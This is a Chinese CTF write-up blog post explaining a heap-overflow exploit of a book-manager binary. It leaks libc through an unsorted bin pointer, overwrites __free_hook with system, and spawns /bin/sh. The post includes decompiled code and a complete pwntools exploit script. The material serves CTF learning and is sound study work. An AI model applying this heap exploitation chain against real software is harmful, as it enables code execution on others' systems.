avatar

CTF-unsorted_bin-__free_hook-利用

下载压缩包 bin.rar

前言:

1、unsorted bin第一次被释放的时候,fd和bk指向 main_arena+n 的地址,x64中n为88,x32中n为44,具体情况请自行用gdb调试。

2、典型堆溢出

3、__free_hook是一个函数指针,若被赋值,则free直接执行__free_hook所指向的函数。

详细讲解

0x1

1、导入IDA,然后进行重命名,如下

2、然后再addBook里,看到典型的堆溢出

如果我free一个chunk之后,再申请同样大的chunk,就可以通过以下代码覆盖下一个chunk

1
read(0, *(void **)(qword_2020A0[i] + 40LL), 0x100uLL);

3、然后我们还需要libc地址,由于malloc的size可以由用户自己定,所以我们可以申请0x80的堆块,这是一个unsortbin,然后第一次free之后,bk和fd会指向 main_arena+88的位置,然后我们可以通过堆溢出,read进足够大的字符串去连接到bk,然后show一下就可以溢出libc了

3、溢出libc之后,我们就可以算出system、__free_hook的位置了

4、再通过两个相连的堆块,然后构造堆溢出,覆盖 qword_2020A0[v3] + 40LL 的为__free_hook,然后editBook,修改__free_hook的值为system

5、再申请一个book,然后name随意设置,content设置为 /bin/sh\x00 ,然后delete掉这个Book,可以执行system("/bin/sh\x00"),具体原因如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int deleteBook()
{
char s; // [rsp+0h] [rbp-30h]
int v2; // [rsp+2Ch] [rbp-4h]

memset(&s, 0, 0x20uLL);
puts("Give me the book's id");
v2 = input_num();
if ( v2 < 0 || v2 > 15 || !qword_2020A0[v2] )
return puts("invalid book id");
puts("Input the book's name to confirm");
read(0, &s, 0x100uLL);
if ( strcmp(&s, qword_2020A0[v2]) )
return puts("cancel");
free(*(qword_2020A0[v2] + 40LL));//先free掉content,然后再free掉name的
free(qword_2020A0[v2]);
qword_2020A0[v2] = 0LL;
return puts("success");
}

附上exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
context.log_level = "debug"
sh = process("./bin")
elf = ELF("bin")
lib = ELF("libc-2.23.so")
sh.recvuntil("What's you name?\n")
sh.sendline("Fuck")
def add(name,size,content):
sh.recvuntil("5. exit\n")
sh.sendline("1")
sh.recvuntil("Give me the book's name\n")
sh.sendline(name)
sh.recvuntil("Give me the book's contest size\n")
sh.send(str(size))
sh.recvuntil("Give me book's content")
sh.send(content)

def edit(idx,content):
sh.recvuntil("5. exit\n")
sh.sendline("2")
sh.recvuntil("Give me the book's id")
sh.sendline(str(idx))
sh.recvuntil("Give me the book's contest size\n")
sh.send(str(len(content)))
sh.recvuntil("Give me book's content\n")
sh.send(content)

def delete(idx,name):
sh.recvuntil("5. exit\n")
sh.sendline("4")
sh.recvuntil("Give me the book's id\n")
sh.sendline(str(idx))
sh.recvuntil("Input the book's name to confirm")
sh.send(name)
def show():
sh.recvuntil("5. exit\n")
sh.sendline("3")
add("a"*8,0x20,"1"*0x20) #0
add("b"*8,0x20,"2"*0x20) #1
add("c"*8,0x80,"3"*0x20) #2 it was broken
add("d"*8,0x20,"4"*0x20) #3
add('e'*8,0x20,"5"*0x20) #4
add('f'*8,0x20,"6"*0x20) #5
delete(2,"c"*8+"\n") # delete 2
delete(1,"b"*8+"\n") # delete 1
add('c'*8,0x10,0x20*'a') #1
show()
sh.recvuntil("content: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
libc_base = u64(sh.recv(6)+'\x00\x00') - 88 - 0x3C4B20
free_hook = libc_base + lib.symbols['__free_hook']
system_addr = libc_base + lib.symbols['system']
delete(3,'d'*8+"\n")
add("g"*8,0x20,0x20 * '7' + p64(0) + p64(0x41) + 'e'*8+p64(0x0a)+p64(0)*2+p64(20)+p64(free_hook))
edit(4,p64(system_addr))
add("p"*8,0x20,"/bin/sh\x00")
delete(3,'p'*8+'\n')
log.success("PID: " + str(sh.pid))
log.success("libc_base: " + hex(libc_base))
log.success("free_hook: " + hex(free_hook))
log.success("system: " + hex(system_addr))
sh.interactive()

执行结果:

文章作者: 咲夜南梦
文章链接: http://yoursite.com/2019/06/16/CTF-unsorted_bin-__free_hook-%E5%88%A9%E7%94%A8/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 咲夜南梦's 博客
打赏
  • 微信
    微信
  • 支付宝
    支付宝

评论